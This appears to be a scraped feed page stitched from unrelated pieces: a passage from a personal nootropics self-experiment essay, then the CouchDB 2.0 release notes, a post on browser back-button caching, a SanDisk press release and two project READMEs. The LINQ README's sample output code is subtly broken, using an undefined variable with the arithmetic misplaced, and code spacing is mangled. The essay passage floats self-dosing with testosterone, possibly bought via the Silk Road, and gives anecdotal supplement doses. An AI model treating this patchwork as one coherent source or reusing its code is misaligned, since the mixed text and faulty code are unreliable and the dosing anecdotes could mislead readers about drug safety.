My general impression is positive; it does seem to help with endurance and extended the effect of piracetam+choline, but is not as effective as that combo. At $20 for 30g (bought from Smart Powders), I’m not sure it’s worthwhile, but I think at $10-15 it would probably be worthwhile. Sulbutiamine seems to affect my sleep negatively, like caffeine. I bought 2 or 3 canisters for my third batch of pills along with the theanine. For a few nights in a row, I slept terribly and stayed awake thinking until the wee hours of the morning; eventually I realized it was because I was taking the theanine pills along with the sleep-mix pills, and the only ingredient that was a stimulant in the batch was - sulbutiamine. I cut out the theanine pills at night, and my sleep went back to normal. (While very annoying, this, like the creatine & taekwondo example, does tend to prove to me that sulbutiamine was doing something and it is not pure placebo effect.)

It’s worth noting that sulbutiamine reports vary dramatically, and it seems possible that some people are thiamine-deficient and so would disproportionately; SilasBarta noticed little to nothing (like me), but Jimrandomh reports his life was transformed (and he suspects that his diabetes caused or exacerbated a deficiency).

Taurine (Examine.com) was another gamble on my part, based mostly on its inclusion in energy drinks. I didn’t do as much research as I should have: it came as a shock to me when I read in Wikipedia that “taurine has been shown to prevent oxidative stress induced by exercise” and was an antioxidant - oxidative stress is a key part of how exercise creates health benefits and antioxidants inhibit those benefits.

So now I have to be careful about when I take it so it isn’t near a session of exercise or just accept whatever damage taurine does me. I’m not sure what I’ll do with it when I cap my current supply of powders. (It would make little sense to cap it with the creatine since I would often take the creatine before exercise.)

And the effects? Well, if you look through the WP article or other places, you see it justified in part due to supposed long term benefits or effects on blood sugar. I can’t say I’ve noticed any absence of ‘crashes’, taking it on alternate days or alone. (At least it wasn’t too expensive - $9 for 500g.)

The hormone testosterone (Examine.com; FDA adverse events) needs no introduction. This is one of the scariest substances I have considered using: it affects so many bodily systems in so many ways that it seems almost impossible to come up with a net summary, either positive or negative. With testosterone, the problem is not the usual nootropics problem that that there is a lack of human research, the problem is that the summary constitutes a textbook - or two. That said, the 2011 review “The role of testosterone in social interaction” (excerpts) gives me the impression that testosterone does indeed play into risk-taking, motivation, and social status-seeking; some useful links and a representative anecdote:

  • Andrew Sullivan:

  • “The Manly Molecule”, Steve Sailer 2000
  • Wedrifid, 2012:

    While the primary effect of the drug is massive muscle growth the psychological side effects actually improved his sanity by an absurd degree. He went from barely functional to highly productive. When one observes that the decision to not attempt to fulfill one’s CEV at a given moment is a bad decision it follows that all else being equal improved motivation is improved sanity.

    Elaborating on why the psychological side effects of testosterone injection are individual dependent: Not everyone get the same amount of motivation and increased goal seeking from the steroid and most people do not experience periods of chronic avolition. Another psychological effect is a potentially drastic increase in aggression which in turn can have negative social consequences. In the case of counterfactual wedrifid he gets a net improvement in social consequences. He has observed that aggression and anger are a prompt for increased ruthless self-interested goal seeking. Ruthless self-interested goal seeking involves actually bothering to pay attention to social politics. People like people who do social politics well. Most particularly it prevents acting on contempt which is what wedrifid finds prompts the most hostility and resentment in others. Point is, what is a sanity promoting change in one person may not be in another.

As it happens, these are areas I am distinctly lacking in. When I first began reading about testosterone I had no particular reason to think it might be an issue for me, but it increasingly sounded plausible, an aunt independently suggested I might be deficient, a biological uncle turned out to be severely deficient with levels around 90 ng/dl (where the normal range for 20-49yo males is 249-839), and finally my blood test in August 2013 revealed that my actual level was 305 ng/dl; inasmuch as I was 25 and not 49, this is a tad low.

One idea I’ve been musing about is the connections between IQ, Conscientiousness, and testosterone. IQ and Conscientiousness do not correlate to a remarkable degree - even though one would expect IQ to at least somewhat enable a long-term perspective, self-discipline, metacognition, etc! There are indications in studies of gifted youth that they have lower testosterone levels. The studies I’ve read on testosterone indicate no improvements to raw ability. So, could there be a self-sabotaging aspect to human intelligence whereby greater intelligence depends on lack of testosterone, but this same lack also causes lack of correlation with Conscientiousness, vastly undermining the utility of greater intelligence? Could cases of high IQ types who suddenly stop slacking and accomplish great things sometimes be due to changes in testosterone? Studies on the correlations between IQ, testosterone, Conscientiousness, and various measures of accomplishment are confusing and don’t always support this theory, but it’s an idea to keep in mind.

One might suggest just going to the gym or doing other activities which may increase endogenous testosterone secretion. This would be unsatisfying to me as it introduces confounds: the exercise may be doing all the work in any observed effect, and certainly can’t be blinded. And blinding is especially important because the 2011 review discusses how some studies report that the famed influence of testosterone on aggression (eg. Wedrifid’s anecdote above) is a placebo effect caused by the “folk wisdom” that testosterone causes aggression & rage!

I have a needle phobia, so injections are right out; but from the images I have found, it looks like testosterone gels resemble other gels like Vaseline. This suggests an easy experimental procedure: spoon an appropriate dose of testosterone gel into one opaque jar, spoon some Vaseline gel into another, and pick one randomly to apply while not looking. If one gel evaporates but the other doesn’t, or they have some other difference in behavior, the procedure can be expanded to something like “and then half an hour later, take a shower to remove all visible traces of the gel”. Testosterone itself has a fairly short half-life of 2-4 hours, but the gel or effects might linger. (Injections apparently operate on a time-scale of weeks; I’m not clear on whether this is because the oil takes that long to be absorbed by surrounding materials or something else.) Experimental design will depend on the specifics of the obtained substance. As a controlled substance (Schedule III in the US), supplies will be hard to obtain; I may have to resort to the Silk Road.

Power-wise, the effects of testosterone are generally reported to be strong and unmistakable. Even a short experiment should work. I would want to measure DNB scores & Mnemosyne review averages as usual, to verify no gross mental deficits; the important measures would be physical activity, so either pedometer or miles on treadmill, and general productivity/mood. The former 2 variables should remain the same or increase, and the latter 2 should increase.

Either prescription or illegal, daily use of testosterone would not be cheap. On the other hand, if I am one of the people for whom testosterone works very well, it would be even more valuable than modafinil, in which case it is well worth even arduous experimenting. Since I am on the fence on whether it would help, this suggests the value of information is high.

l-theanine (Examine.com) is occasionally mentioned on Reddit or Imminst or LessWrong but is rarely a top-level post or article; this is probably because theanine was discovered a very long time ago (>61 years ago), and it’s a pretty straightforward substance. It’s a weak relaxant/anxiolytic (Google Scholar) which is possibly responsible for a few of the health benefits of tea, and whichworkssynergistically with caffeine (and is probably why caffeine delivered through coffee feels different from the same amount consumed in tea - in one study, separate caffeine and theanine were a mixed bag, but the combination beat placebo on all measurements). The half-life in humans seems to be pretty short, with van der Pijl 2010 putting it ~60 minutes. This suggests to me that regular tea consumption over a day is best, or at least that one should lower caffeine use - combining caffeine and theanine into a single-dose pill has the problem of caffeine’s half-life being much longer so the caffeine will be acting after the theanine has been largely eliminated. The problem with getting it via tea is that teas can vary widely in their theanine levels and the variations don’t seem to be consistent either, nor is it clear how to estimate them. (If you take a large dose in theanine like 400mg in water, you can taste the sweetness, but it’s subtle enough I doubt anyone can actually distinguish the theanine levels of tea; incidentally, r-theanine - the useless racemic other version - anecdotally tastes weaker and less sweet than l-theanine.)

On 8 April 2011, I purchased from Smart Powders (20g for $8); as before, some light searching seemed to turn up SP as the best seller given shipping overhead; tt was on sale and I planned to cap it so I got 80g. This may seem like a lot, but I was highly confident that theanine and I would get along since I already drink so much tea and was a tad annoyed at the edge I got with straight caffeine. So far I’m pretty happy with it. My goal was to eliminate the physical & mental “twitchiness” of caffeine, which subjectively it seems to do.

Running low on my theanine in May 2013, I learned SP was now undercut by LiftMode selling 50g for $14, so I got 2 (I was doing a big Amazon order anyway). Like the SP theanine it is a nice fluffy white powder and seems to work as well.

A new all-in-one nootropic mix/company run by some people active on /r/nootropics; they offered me a month’s supply for free to try & review for them. At ~$100 a month (it depends on how many months one buys), it is not cheap (John Backus estimates one could buy the raw ingredients for $25/month) but it provides convenience& is aimed at people uninterested in spending a great deal of time reviewing research papers & anecdotes or capping their own pills (ie. people with lives) and it’s unlikely I could spare the money to subscribe if TruBrain worked well for me - but certainly there was no harm in trying it out.

The ingredients list was sane and similar to what I would have chosen, and doesn’t include any jokers like caffeine:

  1. Piracetam: 3g

    Naturally, as piracetam is the standard -racetam to use. It’s always worked well for me. 3g is a reasonable amount for people who aren’t taking any other sources of piracetam.
  2. ALCAR: 0.5g

    I didn’t notice any personal benefits from ALCAR, but I didn’t notice any bad effects either and many people claim to benefit.
  3. CDP-Choline: 0.25g

    You’ll want choline when using -racetams. 0.25g strikes me as low.
  4. EPA/DHA: 1.2g

    Fish oil is a safe bet for supplements. 1.2g is also low, I would prefer double that. (In the batch I got, there was a sort of fruity/gummy taste & aftertaste. Apparently it’s cherry-flavored.)
  5. Magnesium glycinate/lycinate: 0.2g

    My magnesium l-threonate correlation from the Noopept self-experiment suggested magnesium would help me, so I don’t mind seeing magnesium here as well.
  6. Pramiracetam: 0.3g

    I don’t know very much about pramiracetam.
  7. Theanine: 0.2g

    An old favorite of mine.
  8. Tyrosine: 0.35g

    Like ALCAR, did nothing subjectively noticeable for me, but nothing bad either.

The packaging is nice, if a little confusing (it’s not entirely clear what packets are supposed to be taken on the initial days as part of the “loading”). The pills are swallowable (one takes a set with breakfast and a second set with lunch). I do not seem to have died or gone into untoward states like seizures, and the first day went swimmingly.

l-Tryptophan is in a sense redundant with taking melatonin, since melatonin is one of the most prominent metabolites of tryptophan. Nevertheless, subjectively I seem to sleep better by taking 1.5mg of melatonin & 0.5g of tryptophan than I do by taking, say, 3mg of melatonin.

One of the other suggested benefits is for boosting serotonin levels; low levels of serotonin are implicated in a number of issues like depression. I’m not yet sure whether tryptophan has helped with motivation or happiness. Trial and error has taught me that it’s a bad idea to take tryptophan in the morning or afternoon, however, even smaller quantities like 0.25g. Like melatonin, the dose-response curve is a U: ~1g is great and induces multiple vivid dreams for me, but ~1.5g leads to an awful night and a headache the next day that was worse, if anything, than melatonin. (One morning I woke up with traces of at least 7 dreams, although I managed to write down only 2. No lucid dreams, though.)

Taking the tryptophan is fairly difficult. The powder as supplied by Bulk Nutrition is extraordinarily dry and fine; it seems to be positively hydrophobic. The first time I tried to swallow a teaspoon, I nearly coughed it out - the power had seemed to explode in my mouth and go down my lungs. Thenceforth I made sure to have a mouth of water first. After a while, I took a different tack: I mixed in as much Hericium as would fit in the container. The mushroom powder is wetter and chunkier than the tryptophan, and seems to reduce the problem. Combining the mix with chunks of melatonin inside a pill works even better.

Tyrosine (Examine.com) is an amino acid; people on the Imminst.org forums (as well as Wikipedia) suggest that it helps with energy and coping with stress. I ordered 4oz (bought from Smart Powders) to try it out, and I began taking 1g with my usual caffeine+piracetam+choline mix. It does not dissolve easily in hot water, and is very chalky and not especially tasty. I have not noticed any particular effects from it.

Bought 5,000 IU soft-gels of Vitamin D-3 (Examine.com; FDA adverse events) because I was feeling very apathetic in January 2011 and not getting much done, even slacking on regular habits like Mnemosyne spaced repetition review or dual n-back or my Wikipedia watchlist. Introspecting, I was reminded of depression & dysthymia& seasonal affective disorder.

There are a number of treatments for the last. I already use melatonin. I sort of have light therapy from a full-spectrum fluorescent desk lamp. But I get very little sunlight; the surprising thing would be if I didn’t have a vitamin D deficiency. And vitamin D deficiencies have been linked with all sorts of interesting things like near-sightedness, with time outdoors inversely correlating with myopia and not reading or near-work time. (It has been claimed that caffeine interferes with vitamin D absorption and so people like me especially need to take vitamin D, on top of the deficits caused by our vampiric habits, but I don’t think this is true.) Unfortunately, there’s not very good evidence that vitamin D supplementation helps with mood/SAD/depression: there’s ~6 small RCTs with some findings of benefits, with their respective meta-analysis turning in a positive but currently non-statistically-significant result. Better confirmed is reducing all-cause mortality in elderly people (see, in order of increasing comprehensiveness: Evidence Syntheses 2013, Chung et al 2009, Autier & Gandini 2007, Bolland et al 2014).

Given the involvement with circadian rhythms and the synthesis involving direct sunlight, it is likely a bad idea to take vitamin D close to bedtime, and there have been anecdotes that it damages sleep quality; I investigated this with my Zeo and concluded it seemed to be true for me.

The soft gels are very small; one needs to be a bit careful - Vitamin D is fat-soluble and overdose starts in the range of 70,000 IU, so it would take at least 14 pills, and it’s unclear where problems start with chronic use. Vitamin D, like many supplements, followsaU-shapedresponsecurve (see also Melamed et al 2008 and Durup et al 2012) - too much can be quite as bad as too little. Too little, though, is likely very bad. The previously cited studies with high acute doses worked out to <1,000 IU a day, so they may reassure us about the risks of a large acute dose but not tell us much about smaller chronic doses; the mortality increases due to too-high blood levels begin at ~140nmol/l and reading anecdotes online suggest that 5k IU daily doses tend to put people well below that (around 70-100nmol/l). I probably should get a blood test to be sure, but I have something of a needle phobia.

I have elsewhere remarked on the apparent lack of benefit to taking multivitamins and the possible harm; so one might well wonder about a specific vitamin like vitamin D. However, a ‘multivitamin’ is not ‘vitamin D’, so it’s no surprise that they might do different things. If a multivitamin had no vitamin D in it, or if it had vitamin D in different doses, or if it had substances which interacted with vitamin D (such as calcium), or if it had substances which had negative effects which outweigh the positive (such as vitamin A?), we could well expect differing results. In this case, all of those are true to varying extents. Some multivitamins I’ve had contained no vitamin D. The last multivitamin I was taking both contains vitamins used in the negative trials and also some calcium; the listed vitamin D dosage was a trivial ~400IU, while I take >10x as much now (5000IU).

10,000 IU is highly likely to be enough, and is similar to what one might get from an hour on the beach; so 5000 IU should be satisfactory.

  • Bacopa - The research looks interesting and it’s cheap; but I am suspicious of anything Ayurvedic because of heavy metals, and Bacopa monnieri is a hyperaccumulator of heavy metals.
  • Naringenin - Timothy Ferriss in excerpt from Four-hour Body claims it extends effectiveness of caffeine (how to buy - capsule? grape fruit concentrate?)
  • Memantine - linked with depression alleviation
  • Ginseng (cf. the Cochrane Review)

Powder advantages

With the more subtle nootropics, poor shopping can lead to the price per dose becoming so high that they are not cost-effective; this does not have to be the case.

This tendency is exacerbated by general inefficiencies in the nootropics market - they are manufactured for vastly less than they sell for, although the margins aren’t as high as they are in other supplement markets, and not nearly ascomical as illegal recreational drugs. (Global Price Fixing: Our Customers are the Enemy (Connor 2001) briefly covers the vitamin cartel that operated for most of the 20th century, forcing food-grade vitamins prices up to well over 100x the manufacturing cost.) For example, the notorious Timothy Ferriss (of The Four-hour Work Week) advises imitators to find a niche market with very high margins which they can insert themselves into as middlemen and reap the profits; one of his first businesses specialized in… nootropics & bodybuilding. Or, when Smart Powders - usually one of the cheapest suppliers - was dumping its piracetam in a fire sale of half-off after the FDA warning, its owner mentioned on forums that the piracetam was still profitable (and that he didn’t really care because selling to bodybuilders was so lucrative); this was because while SP was selling 2kg of piracetam for ~$90, Chinese suppliers were offering piracetam on AliBaba for $30 a kilogram or a third of that in bulk. (Of course, you need to order in quantities like 30kg - this is more or less the only problem the middlemen retailers solve.) It goes without saying that premixed pills or products are even more expensive than the powders.

Powders are good for experimenting with (easy to vary doses and mix), but not so good for regular taking. I use OO gel capsules with a Capsule Machine: it’s hard to beat $20, it works, it’s not that messy after practice, and it’s not too bad to do 100 pills. However, I once did 3kg of piracetam + my other powders, and doing that nearly burned me out on ever using capsules again. If you’re going to do that much, something more automated is a serious question! (What actually wound up infuriating me the most was when capsules would stick in either the bottom or top try - requiring you to very gingerly pull and twist them out, lest the two halves slip and spill powder - or when the two halves wouldn’t lock and you had to join them by hand. In contrast: loading the gel caps could be done automatically without looking, after some experience.)

3 years supply in pill form (2010)

Manually mixing powders is too annoying, and pre-mixed pills are expensive in bulk. So if I’m not actively experimenting with something, and not yet rich, the best thing is to make my own pills, and if I’m making my own pills, I might as well make a custom formulation using the ones I’ve found personally effective. And since making pills is tedious, I want to not have to do it again for years. 3 years seems like a good interval - 1095 days. Since one is often busy and mayn’t take that day’s pills (there are enough ingredients it has to be multiple pills), it’s safe to round it down to a nice even 1000 days. What sort of hypothetical stack could I make? What do the prices come out to be, and what might we omit in the interests of protecting our pocketbook?

We omit tryptophan and melatonin, of course, because they are most useful for sleeping and this is a stimulus pill for daytime usage. That leaves from the above the following, with some basic commercial specs from the usual retailers:

We calculate how many days each unit gets us simply by dose divided by dose per day. We get quite a range; with some products, we only need 4 units to cover at least 1000 days, but we need 100 units for modafinil!

aniracetam6$300
caffeine5$90
choline citrate4$68
creatine4$68
lithium orotate8$88
modafinil100$800
sulbutiamine9$180
theanine5$50

Sum total, $1644, or $1.65 per day for the ingredients.

But how many pills does this make and how much do those pills cost?

Capsule Connection sells 1000 00 pills (the largest pills) for $9. I already have a pill machine, so that doesn’t count (a sunk cost). If we sum the grams per day column from the first table, we get 9.75 grams a day. Each 00 pill can take around 0.75 grams, so we need 13 pills. (Creatine is very bulky, alas.) 13 pills per day for 1000 days is 13,000 pills, and 1,000 pills is $9 so we need 13 units and 13 times 9 is $117.

Redoing the above, the total expense is $1761 or $1.76 per day.

13 pills a day sounds like a lot, and $1.76 is actually a fair amount per day compared to what most people take. If I couldn’t swing a round $1800 (even to cover years of consumption), how would I economize?

Looking at the prices, the overwhelming expense is for modafinil. It’s a powerful stimulant - possibly the single most effective ingredient in the list - but dang expensive. Worse, there’s anecdotal evidence that one can develop tolerance to modafinil, so we might be wasting a great deal of money on it. (And for me, modafinil isn’t even very useful in the daytime: I can’t even notice it.) If we drop it, the cost drops by a full $800 from $1761 to $961 (almost halving) and to $0.96 per day. A remarkable difference, and if one were genetically insensitive to modafinil, one would definitely want to remove it.

On the other metric, suppose we removed the creatine? Dropping 4 grams of material means we only need to consume 5.75 grams a day, covered by 8 pills (compared to 13 pills). We save 5,000 pills, which would have cost $45 and also don’t spend the $68 for the creatine; assuming a modafinil formulation, that drops our $1761 down to $1648 or $1.65 a day. Or we could remove both the creatine and modafinil, for a grand total of $848 or $0.85 a day, which is pretty reasonable.

CouchDB 2.0

$
0
0

The Apache CouchDB development community is proud to announce the immediate availability of version 2.0.

See also the official Apache Press Release.

CouchDB 2.0 is 99% API compatible with the 1.x series and most applications should continue to just work.

Cluster

CouchDB 2.0’s prime new feature is native support for clustering. It is based on the Dynamo paper and the work done at Cloudant and IBM in the BigCouch project which is now fully merged into Apache CouchDB project.

In short, clustering means that you can take a set of computers or virtual machines in the same data center and make them behave like a single, unified CouchDB instance. This has three benefits:

  1. fault tolerance: data is stored on more than one computer. A CouchDB 2.0 cluster obviates the need for custom setup of failover CouchDB instances.
  2. performance: data is split up and only a part lives on each node in a  cluster. That means each node only has a fraction of the work to do (like computing a view index) than a single node instance would have.

  3. capacity: with setups of multiple computers storing data, and with data being split among nodes, it is now possible to store amounts of data in CouchDB that exceed the capacity of a single computer many many times, setting CouchDB up for genuine Big Data solutions.

You have full control over all parameters of the cluster to suit every project’s needs.

Note: CouchDB 2.0 can also be configured as a “single node”-cluster, if none of the above benefits are relevant to you.

See the CouchDB 2.0 Architecture blog post for more information about the clustering technology.

Easy Queries

The second major feature is the declarative query language “Mango”. Mango is easier to use and faster in operation than the existing JavaScript-based Views. Of course, JavaScript Views continue to work.

See the Mango Query blog post for more information about Mango.

New Admin Interface

CouchDB 2.0 comes with a completely rewritten administration interface (nickname “Fauxton”), built in React.js. It sports a modern look, advanced features and a code-base that is easy to contribute to.

See Fauxton, the new CouchDB Dashboard for more info.

Performance

Both the replicator and compactor have undergone significant performance improvements that will speed up replication between CouchDB instances as well as PouchDB and Couchbase Lite instances.

Compaction can now be run at any time, even continuously, with an i/o-queueing system ensuring that live requests are not slowed down while compaction is running.

In addition: the compaction process is shorter, uses less CPU and RAM, produces smaller database files and freshly compacted databases are significantly faster to read from.

See Feature: Replication and Feature: Compaction for more info.

New Logo

CouchDB 2.0 comes with a brand new Logo, designed by Constantin Angheloui. The website, docs and other materials have been updated. See the CouchDB 2.0 branding guide for details.

More Details

For more details, please refer to our 2.0 blog post series.

Download

Apache CouchDB 2.0 downloads are available from the official website: http://couchdb.apache.org/#download.

Acknowledgements

The community would like to thank all contributors for their part in making this release, from the smallest bug report or patch to major contributions in code, design, or marketing, we couldn’t have done it without you!


Browser History

$
0
0

More than SSL, more than CrossOrigin Request headers, I’m staring to think the back button must be the most mis-understood part of how browsers implement HTTP.

The web’s history feature is built with a specific usage in mind. Modern browsers take the HTTP 1.1 spec section 13.13 as a starting point for implementation (emphasis added):

13.13 History Lists

User agents often have history mechanisms, such as “Back” buttons and history lists, which can be used to redisplay an entity retrieved earlier in a session.

History mechanisms and caches are different. In particular history mechanisms SHOULD NOT try to show a semantically transparent view of the current state of a resource. Rather, a history mechanism is meant to show exactly what the user saw at the time when the resource was retrieved.

By default, an expiration time does not apply to history mechanisms. If the entity is still in storage, a history mechanism SHOULD display it even if the entity has expired, unless the user has specifically configured the agent to refresh expired history documents.

This is not to be construed to prohibit the history mechanism from telling the user that a view might be stale.

Appended is this weird set of concerns from 1999 that led to this behavior. Or something. Honestly, I cannot parse it.

Note: if history list mechanisms unnecessarily prevent users from viewing stale resources, this will tend to force service authors to avoid using HTTP expiration controls and cache controls when they would otherwise like to. Service authors may consider it portant that users not be presented with error messages or warning messages when they use navigation controls (such as BACK) to view previously fetched resources. Even though sometimes such resources ought not to cached, or ought to expire quickly, user interface considerations may force service authors to resort to other means of preventing caching (e.g. “once-only” URLs) in order not to suffer the effects of improperly functioning history mechanisms.

The takeaway, relevant to any kind of app, is that browsers should not be expected to honor HTTP caches headers when moving through a user’s history. It doesn’t matter if you are building a single-page app or traditional multi-page app with a spattering of dynamic behavior, understand this: The browser does not respect HTTP caching rules when you click the back button. Clicking the back button will load a webpage in a completely different way, and with a different intent, than if you load the same page via a link.

What does this mean in practice? Fancyremaker and I did some research, the result of which is this demo page:

An HTML page is first loaded, which then fetches three json resources upon pageload. Each JSON endpoint responds with a random hex value. The first, no-cache, has the cache headers:

Cache-Control: must-revalidate, no-cache, private
Pragma: no-cache
Etag: "((the hex value))"

These headers express a very conservative cache plan. Basically: Don’t cache. Despite this, Chrome and other browsers may still store the response.

The spec reads “If the entity is still in storage, a history mechanism SHOULD display it even if the entity has expired”. Using Chrome, if you click either link below the hashes (to a page on the same domain, or to another domain) then click back, this hash will remain the same. If you look at the “size” column in the network tab of Chrome you will see “(from cache)” there.

The second hex value is served with the no-store header value.

Cache-Control: must-revalidate, no-store, no-cache, private
Pragma: no-store, no-cache
Etag: "((the hex value))"

If you click the link to the same domain, the hash will remain the same when you click back. This seems potentially wrong- we’ve told the browser not to store the response, but the network tab makes it look like this response is cached. If you click the link to another domain, the hash will change when you click back. Since the response is not stored, the browser has no choice but to fetch the resource anew.

The third is requested with jQuery’s cache: false setting. This setting adds a timestamp to the GET parameters of each request, busting any cache the browser may have of that resource. In Chrome, it too refreshes on each return to the page.

Safari and Firefox implement something we can call the “bfcache” (back-forward cache). This cache stores the current state of the DOM in memory. When a page is re-visited via the back button, no requests are made. The DOM itself is served straight up from cache.

There is a less-than-subtle difference in these behaviors. Given a long-lived single page app, the data returned in the API requests to initially draw the page may be quite out of date. The DOM is at least guaranteed to approximate what your application looked like when the page was left.

Setting an unload handler on the original page will keep Safari and Firefox from storing the DOM in their bfcache.

$(window).unload(function(){});// Does nothing but break the bfcache

Here is an example on the demo app. With this behavior, Firefox reloads the no-store and cache busted responses. Safari disregards the no-store header and only reloads the cache busted response.

In some ways, the original behavior of Safari and Firefox may actually be preferable. At other times, you may want to break with the spec’s suggestions of non-semantic history and ensure that your AJAX queries actually go through.

The last time the web developer community thought about what the back button does was in the HTML(5) spec. There we finally solidified a JavaScript API for inspecting and changing browser history.

But that review didn’t touch upon what the browser does between pages, or how history and HTTP cache headers interact. SPDY and HTTP 2.0 dodge the issue, not mentioning history once between them. With the growing presence of single-page apps, what users expect from the back button and what developers are trying to achieve is surely changing.

Today, the only option for ensuring an XHR request is made when the user re-visits a page via the back button is to (1) add an unload handler then (2) use cache busting. This is also the only way to ensure these three browsers behave consistently (and I won’t speak on IE here). Using this method is a huge tradeoff though- You can no longer use etag or max-age header values, so every request must be fetched from your server and the content streamed back to the client. This is devastating to most apps.

Often, your only option is to code defensively on the client. Despite what XHR may tell your JS code, the resources returned from the server may not actually be present. Build with that assumption. Ensure you catch errors and display them to users in a comprehensible way.

In the future, I hope to see optimizations of the browser history feature matched by progress in new tools for developers. It feels like the behavior of history has become completely mis-aligned with what developers intend. I remain un-convinced that the spec is still relevant to apps and users (just ask my mother if she wants a semantic version of the last page). In the vein of Yehuda’s Extend the Web Forward, I would be pleased to see new headers that help us change and experiment with what history means to our users.

SanDisk Announces 1TB SDXC Card

$
0
0

Sep 20, 2016

Company gives photography and videography industry a preview of future SanDisk imaging technology

PHOTOKINA, COLOGNE, GERMANY, Sept. 20, 2016– Western Digital Corporation (NASDAQ: WDC), a global storage technology and solutions leader, today unveiled its SanDisk® 1TB terabyte (TB) SDXC™ card prototype at the world's leading trade fair for photo and video professionals. With increasing demand for high resolution content, such as 4K and 8K, the company continues to push the boundaries of technology with solutions that support the exponential growth of data-intensive production demands.

“Showcasing the most advanced imaging technologies is truly exciting for us,” said Dinesh Bahal, vice president, product management, Content Solutions Business Unit, Western Digital. “Sixteen years ago we introduced the first SanDisk 64MB SD™ card and today we are enabling capacities of 1TB. Over the years our goal has remained the same; continue to innovate and set the pace for the imaging industry. The SanDisk 1TB SD card prototype represents another significant achievement as growth of high-resolution content and capacity-intensive applications such as virtual reality, video surveillance and 360 video, are progressing at astounding rates.”

Since the introduction of the record-breaking 512GB SanDisk Extreme PRO® SDXC UHS-I Memory Card at Photokina 2014, Western Digital has proven it can nearly double the capacity in the same SD card form factor using proprietary technology. Higher capacity cards expand the possibilities for professional videographers and photographers, giving them even greater ability to create more of the highest quality content, without the interruption of changing cards.

“Just a few short years ago the idea of a 1TB capacity point in an SD card seemed so futuristic – it’s amazing that we’re now at the point where it’s becoming a reality. With the growing demand for applications like VR, we can certainly use 1TB when we’re out shooting continuous high-quality video. High-capacity cards allow us to capture more without interruption, streamlining our workflow, and eliminating the worry that we may miss a moment because we have to stop to swap out cards,” said Sam Nicholson, CEO of Stargate Studios and member of the American Society of Cinematographers.

Western Digital will be demonstrating the SanDisk 1TB SDXC card prototype and showcasing its newest offerings at Photokina, Hall 02.1 Stand A014.

About Western Digital
Western Digital Corporation (NASDAQ: WDC) is an industry-leading provider of storage technologies and solutions that enable people to create, leverage, experience and preserve data. The company addresses ever-changing market needs by providing a full portfolio of compelling, high-quality storage solutions with customer-focused innovation, high efficiency, flexibility and speed. Our products are marketed under the HGST, SanDisk and WD brands to OEMs, distributors, resellers, cloud infrastructure providers and consumers. For more information, please visit www.hgst.com, www.wd.com, and www.sandisk.com.

About SanDisk
SanDisk, a Western Digital Corporation (NASDAQ: WDC) brand, provides trusted and innovative flash storage products that have transformed the electronics industry. SanDisk’s quality, state-of-the-art solutions are at the heart of many of the world's largest data centers, and embedded in advanced smartphones, tablets and PCs. SanDisk’s consumer products are available at hundreds of thousands of retail stores worldwide.

For the latest SanDisk news visit www.sandisk.com, or find us on our social channels:
Facebook: www.facebook.com/sandisk
Twitter: www.twitter.com/sandisk
Instagram: www.instagram.com/sandisk
YouTube: www.youtube.com/sandisk


©2016 Western Digital Corp. or affiliates. All rights reserved. Western Digital, SanDisk, and SanDisk Extreme Pro are trademarks of Western Digital Corporation or its affiliates, registered in the U.S. and/or other countries. The SDXC and SD mark is a trademark of SD-3D, LLC. All other trademarks are the property of their respective owners.

Forward-Looking Statements
This news release contains certain forward-looking statements, including statements concerning the SanDisk® 1TB SDXC™ card prototype and its potential features and benefits There are a number of risks and uncertainties that may cause these forward-looking statements to be inaccurate including, among others: volatility in global economic conditions; business conditions and growth in the storage ecosystem; impact of competitive products and pricing; market acceptance and cost of commodity materials and specialized product components; actions by competitors; unexpected advances in competing technologies; our development and introduction of products based on new technologies and expansion into new data storage markets; risks associated with acquisitions, mergers and joint ventures; difficulties or delays in manufacturing; and other risks and uncertainties listed in the company's filings with the Securities and Exchange Commission (the "SEC"), including the company's Form 10-K filed with the SEC on August 29, 2016, to which your attention is directed. We do not intend to update the information contained in this release.

MEDIA CONTACT
Joanna Andrade
SanDisk, a Western Digital brand
+1 408.801.1792
joanna.andrade@sandisk.com

Roslyn-linq-rewrite: optimize LINQ code to fast/allocation-free procedural code

$
0
0

README.md

This tool compiles C# code by first rewriting the syntax trees of LINQ expressions using plain procedural code, minimizing allocations and dynamic dispatch.

Example input code

publicint Method1()
{var arr = new[] { 1, 2, 3, 4 };var q = 2;return arr.Where(x => x > q).Select(x => x + 3).Sum();
}

Allocations: input array, array enumerator, closure for q, Where delegate, Select delegate, Where enumerator, Select enumerator.

Decompiled output code

publicint Method1()
{int[] arr = new[] { 1, 2, 3, 4 };int q = 2;returnthis.Method1_ProceduralLinq1(arr, q);
}privateint Method1_ProceduralLinq1(int[] _linqitems, int q)
{if (_linqitems == null) thrownew ArgumentNullException();int num = 0;for (int i = 0; i < _linqitems.Length; i++)
    {if (_linqitems[i] > q)
            num += num2 + 3;
    }return num;
}

Allocations: input array.

Supported LINQ methods

  • Select, Where, Reverse, Cast, OfType
  • First, FirstOrDefault, Single, SingleOrDefault, Last, LastOrDefault
  • ToList, ToArray, ToDictionary
  • Count, LongCount, Any, All
  • ElementAt, ElementAtOrDefault
  • Contains, ForEach

Usage

  • Add the following to your project.json:
"tools": {"dotnet-compile-csc-linq-rewrite": {"version": "1.0.1.9","imports": "portable-net45+win8+wp8+wpa81"
        }
    }
  • In the buildOptions of your project.json, specify the custom compiler:
"buildOptions": {"compilerName": "csc-linq-rewrite"
    }
  • Compile your project with dotnet restore and dotnet build.
  • If you need to exclude a specific method, apply a [NoLinqRewrite] attribute to that method:
namespaceShaman.Runtime
{
    [AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Method)]publicclassNoLinqRewriteAttribute : Attribute
    {
    }
}

Development

Shaman.FastLinq

To further reduce allocations, install Shaman.FastLinq or Shaman.FastLinq.Sources. These packages include LINQ methods specific for T[] and List<> (not all method calls are optimized by LINQ rewrite, like individual, non-chained .First() or .Last() calls).

Comparison to LinqOptimizer

  • Code is optimized at build time (as opposed to run time)
  • Uses existing LINQ syntax, no need for AsQueryExpr().Run()
  • No allocations for Expression<> trees and enumerator boxing
  • Parallel LINQ is not supported (i.e. left intact)
  • No support for F#

Show HN: Primitive Pictures

$
0
0

README.md

Reproducing images with geometric primitives.

Example

How it Works

A target image is provided as input. The algorithm tries to find the most optimal shape that can be drawn to minimize the error between the target image and the drawn image. It repeats this process, adding one shape at a time. Around 50 to 200 shapes are needed to reach a result that is recognizable yet artistic and abstract.

Twitter

Follow @PrimitivePic on Twitter to see a new primitive picture every 30 minutes!

